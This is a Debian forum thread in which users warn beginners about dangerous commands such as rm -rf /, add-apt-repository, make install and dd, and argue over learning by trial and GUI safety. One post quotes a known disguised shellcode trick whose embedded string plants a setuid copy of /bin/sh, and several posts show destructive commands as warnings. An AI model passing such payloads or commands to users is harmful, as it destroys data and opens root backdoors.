10 commands that beginners need to understand before using

New to Debian (Or Linux in general)? Ask your questions here!

10 commands that beginners need to understand before using

Postby GarryRicketson » 2017-12-10 11:50

In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:
Code: Select all
 rm -rf

https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion

And, don't start calling people names, it will result in the topic getting locked,
also many will just start ignoring you.
Forum guidelines. Please read before first post!
Summary
The following might get your post EDITED:
- Profanities
- Links to inappropriate websites

The following might get your post/ thread LOCKED
- Flaming/ personal attacks
- Obvious trolling
- Thread has wandered way off topic
- Cross posting

The following might get your post REMOVED
- Advertising/ Spamming
Last edited by GarryRicketson on 2018-01-27 13:53, edited 1 time in total.
User avatar
GarryRicketson
 
Posts: 4792
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: 10 commands that beginners should not use

Postby Head_on_a_Stick » 2017-12-10 12:38

Another command not mentioned in the list but also not suitable for beginners to the Debian packaging ecosystem:
Code: Select all
# add-apt-repository $whatever

https://wiki.debian.org/DontBreakDebian

:roll:

Also:
Code: Select all
./configure
make
# make install

Is resorted to far too readily by n00bs, IMO.

(See also http://forums.debian.net/viewtopic.php?t=38976)

EDIT: clarified.
"Only the mediocre are always at their best." — Jean Giraudoux
User avatar
Head_on_a_Stick
 
Posts: 7414
Joined: 2014-06-01 17:46
Location: /dev/chair

Re: 10 commands that beginners should not use

Postby NFT5 » 2017-12-10 12:47

2. wget..........debian?
User avatar
NFT5
 
Posts: 224
Joined: 2014-10-10 11:38
Location: Canberra, Australia

Re: 10 commands that beginners should not use

Postby debiman » 2017-12-10 18:44

9. sudo + (a lot of things)
e.g.:
Code: Select all
sudo startx
User avatar
debiman
 
Posts: 2129
Joined: 2013-03-12 07:18

Re: 10 commands that beginners should not use

Postby Randicus » 2017-12-11 04:10

GarryRicketson wrote:In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:
Code: Select all
 rm -rf

https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
I suggest posting the contents of the rm man page, instead of that horribly written extract. The English mistakes give me the willies and I cannot take anyone seriously who uses Windows terminology on a Linux or BSD site. (Yes, I am too sensitive about terminology, but that is me. :D )

A good resource to refer people to for basic command line knowledge is "The Book" on the Slackware site. It is what I learned from.
http://www.slackbook.org/
Randicus
 
Posts: 2664
Joined: 2011-05-08 09:11

Re: 10 commands that beginners should not use

Postby VentGrey » 2017-12-11 04:56

The popular "Let me make your computer quick using hex"
(A disguised rm -rf /)
Code: Select all
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
“I felt myself on the edge of the world; peering over the rim into a fathomless chaos of eternal night.”
― H.P. Lovecraft after trying Debian SidImage
User avatar
VentGrey
 
Posts: 165
Joined: 2016-04-26 23:57
Location: Guanajuato México

Re: 10 commands that beginners should not use

Postby Wheelerof4te » 2017-12-11 17:27

Newbies should also avoid using
Code: Select all
dd

command for writing images to USB. Always use GUI programs, on GNOME that would be GNOME Multi Writer.
User avatar
Wheelerof4te
 
Posts: 804
Joined: 2015-08-30 20:14

Re: 10 commands that beginners should not use

Postby Segfault » 2017-12-11 19:13

After using
Code: Select all
rm -rf /
one is not beginner any more. Because experience is something you get just after you needed it.
Segfault
 
Posts: 664
Joined: 2005-09-24 12:24

Re: 10 commands that beginners should not use

Postby Argus » 2018-01-24 23:51

I have to disagree with most of these. Part of learning / becoming a more knowledgeable and proficient user is doing all of these things, and many other things considered potentially dangerous. I've never broken anything in a way that I couldn't fix, though, and I'm always aware of the potential consequences and don't do anything that I don't accept outcome of said potential consequences.

I frequently do rather crazy things with non-vital systems such as my raspberry pis and virtual machines too, as a learning experiece. I've broken most of the debian 'best practices', either in cases where I know what I'm doing, or simply dont care about screwing up a system and want to see what happens :)

I've learned a ton this way, and I've become fairly proficient with linux in a very short time, having used it for only 8 or so months now. As a result of fearlessly breaking and fixing things when I know and accept the risks, I've gained valuable knowledge and experience how not to break things, or fi them even when they do break.
Argus
 
Posts: 18
Joined: 2017-12-03 01:19

Re: 10 commands that beginners should not use

Postby bw123 » 2018-01-25 00:13

Argus wrote:
Part of learning / becoming a more knowledgeable and proficient user is doing all of these things...


It depends which way you want to look at it:

"Experience is the best teacher."

"Any fool can learn from his own mistakes, but the truly wise learn from the mistakes made by others."
User avatar
bw123
 
Posts: 2931
Joined: 2011-05-09 06:02
Location: TN_USA

Re: 10 commands that beginners should not use

Postby GarryRicketson » 2018-01-25 01:32

I forgot all about this thread, .............
Beginners should learn to use the : 'man' command.
Code: Select all
man man

To get started.
Yes experience is maybe the best teacher, that is why it is good to listen and
read what people with experience write or say. The developers that write the manuals, in most cases have first hand experience.
Always use GUI programs
is absurd, and how does one learn anything about administering a system if they limit there selves to only using a
GUI ?
First things first, don't run any command, until after reading the manual about that command. If the manual is not clear enough, then some searches or even asking experienced users, as well.
GUI's are terrible, and maybe the most dangerous thing for a beginner to use.
Besides that, if one wants to learn to administer a Unix server, or Unix like server, they need to understand and know how to use the command line.
I would have titled the topic. "10 commands that beginners should not use, until the read the manual and understand how to use the commands" or something like that, but it would not have fit in the subject line any way.

A real life, true example, funny in some ways, but it goes to show how dangerous the GUI's really are: http://forums.debian.net/viewtopic.php?f=3&t=134240
===========================
Image
This guy, really did climb onto the keyboard, and then while standing on the keyboard, he also grabbed the mouse with his beak, he managed to highlight/select all the files in a directory, and when he grabbed the mouse with his beak, and moved it , selected "delete", and "clicked" again, and the files were deleted. Fortunately I had back up copies of my /home/garry/ directory, and nothing was lost,..
It would have not happened , if it had just been the terminal, and he had to type in the command:
Code: Select all
rm *.*

Code: Select all
man rm

RM(1) General Commands Manual RM(1)

NAME
rm - remove directory entries

SYNOPSIS
rm [-dfiPRrv] file ...

DESCRIPTION
The rm utility attempts to remove the non-directory type files specified
on the command line. If the permissions of the file do not permit
writing, and the standard input device is a terminal, the user is
prompted (on the standard error output) for confirmation.

The options are as follows:---------snip------

Any way, the point is, it is much less likely a parrot or "beginner" would be
able to type in the complete command, and then press the enter key, compared with the GUI, where a completely clueless parrot, or 3 year old child, or beginner, can easily <select>, "click", and "clicky", this or that silly icon, click again, and it happens to be the "yes" button or silly icon, ...GUI's are far more dangerous then the command line. That is why beginners should NEVER,
NEVER, NEVER perform tasks that require root privileges using a GUI.
The 'dd' command is the most dependable command for various tasks, not just writing to USB, (usb stick or device), Any beginner should learn how to properly use the command, it is very use full and much more reliable then any GUI that I know of.
Code: Select all
man dd

DD(1) General Commands Manual DD(1)

NAME
dd - convert and copy a file

SYNOPSIS
dd [operand ...]

DESCRIPTION
The dd utility copies the standard input to the standard output, applying
any specified conversions. Input data is read and written in 512-byte
blocks. If input reads are short, input from multiple reads are
aggregated to form the output block. When finished, dd displays the
number of complete and partial input and output blocks and truncated
input records to the standard error output.

The following operands are available:----snip---

Some examples:
Clone a HD
Code: Select all
dd if=/dev/sda of=/dev/sdb

Back up a partition:
Code: Select all
dd if =/dev/sda2 of=~/hdadisk.img

Imagine, how many beginners find their selves helpless, and lost, because they did not make a back up, and they messed everything up while using the GUI, ? The forum is full of examples of this, if they had just learned to use the 'dd' command, and made a backup, they then could also use the same 'dd' command to restore the data they lost.
Code: Select all
dd if=hdadisk.img of=/dev/sdb3

Those are just a few, basic things that can be done with the 'dd' command, obviously a beginner should start out with simple uses, and when they learn more they can get into more advanced tasks,...
Any way, I am bored with this now,.... bye!
Image
User avatar
GarryRicketson
 
Posts: 4792
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: 10 commands that beginners should not use

Postby None1975 » 2018-01-25 16:02

GarryRicketson, parrots-intelligent birds. Have a great memory. Apparently he was watching the master's actions and repeating them :D
User avatar
None1975
 
Posts: 396
Joined: 2015-11-29 18:23
Location: /dev/null

Re: 10 commands that beginners should not use

Postby Head_on_a_Stick » 2018-01-25 20:16

^^ :lol:
GarryRicketson wrote:Beginners should learn to use the : 'man' command.
Code: Select all
man man

To get started.

I would also recommend
Code: Select all
man 1 intro

EDIT: oooh, palindromic post count :D

I may not post for a while, it would be a shame to ruin the symmetry :mrgreen:
"Only the mediocre are always at their best." — Jean Giraudoux
User avatar
Head_on_a_Stick
 
Posts: 7414
Joined: 2014-06-01 17:46
Location: /dev/chair

Re: 10 commands that beginners should not use

Postby debiman » 2018-01-26 22:04

Argus wrote:I have to disagree with most of these. Part of learning / becoming a more knowledgeable and proficient user is doing all of these things, etc. etc.

that's like saying the best way to learn to drive a car is to wreck a few cars first.
which i have to disagree with.

oh, i did break my share of installs, and of course i learned from it, but i am also intelligent enough to listen to advice, and have learned as much from it.
i'm not a teenager anymore :D

this:
bw123 wrote:"Any fool can learn from his own mistakes, but the truly wise learn from the mistakes made by others."
User avatar
debiman
 
Posts: 2129
Joined: 2013-03-12 07:18

Re: 10 commands that beginners should not use

Postby Argus » 2018-01-27 04:04

> bw123, debiman

I'm not saying that new users should trash their systems recklessly. However, many things considered dangerous for new users are in fact powerful and necessary tools that I use on a regular basis. It's just a matter of:
1) knowing the potential consequences of what you're doing
2) being careful that you actually know what directory you're in and what that command you just typed does before you press enter.
Those aren't terribly difficult things to do, they just require a certain level of discernment. My rule of thumb is that I don't enter any commands which I don't understand, and I double check my location and file paths whenever I'm using any potentially dangerous command that can overwrite or delete data. I think this is a good rule of thumb that anyone can use regardless of experience. However, I started with the terminal when I got into Linux earlier this year: bash was the reason I got into Linux. And from day 1, I was using commands like "rm * -r" and never deleted anything that I didn't intend to, simply because I knew to be extra careful, pause, and double check everything before I press enter.

The reverse is basically arguing, using your anology, that we should only study how to drive, but never actually drive, because one *might* wreck. And/or we shouldn't do experiments in controlled situations to see how, say, a car actually behaves in a collision.


> GaryRicketson

YES! This is very true: GUI programs can be far more dangerous than the CLI, because you have no idea what they're doing behind the scenes or how to undo it if you need to.
You reminded me that I actually did screw up a system beyond my ability to repair at the time, once: 3 days after my first install of Ubuntu, I discovered dconf editor and attempted to disable auto logging in my login manager. The trouble was, I didn't know what a login manager was, or what X was, and wound up disabling X at start up. Was left with just a TTY and had no idea that I could just type "startx" to get back to my desktop. I tried reinstalling ubuntu-desktop and all kinds of things, and nothing worked.

Since then, I *always* use the terminal to edit config files -- that way I know what I edited where and how, and it's even in my bash history if I scroll up! I've never screwed up anything beyond repair since, because I always know what I edited where and can just change it back if I need to (and I'll create a backup file if I do any complicated edits before hand).
Argus
 
Posts: 18
Joined: 2017-12-03 01:19

Next

Return to Beginners Questions

Who is online

Users browsing this forum: No registered users and 4 guests

fashionable